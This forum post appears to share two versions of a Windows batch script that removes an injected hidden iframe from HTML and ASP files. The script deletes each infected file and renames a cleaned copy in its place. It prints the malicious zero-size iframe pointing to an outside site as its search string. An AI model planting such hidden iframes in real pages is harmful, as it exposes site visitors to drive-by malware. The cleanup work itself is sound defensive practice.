
CODE: [Copy to clipboard]@echo off
for %%i in (html asp) do (
for /f %%a in ('findstr /s /m "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" *.%%i') do (
findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" %%a >%%~pna.bak
del %%a
ren %%~pna.bak %%~na.%%i
)
)
| Quote: | |
|
CODE: [Copy to clipboard]@echo off
for %%i in (html asp) do (
for /f %%a in ('findstr /s /m "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" "*.%%i"') do (
findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" %%a >"%%~pna.bak"
del "%%a"
ren "%%~pna.bak" "%%~na.%%i"
)
)
| 欢迎光临 中国DOS联盟论坛 (http://cndos.fam.cx/forum/) | Powered by Discuz! 2.5 |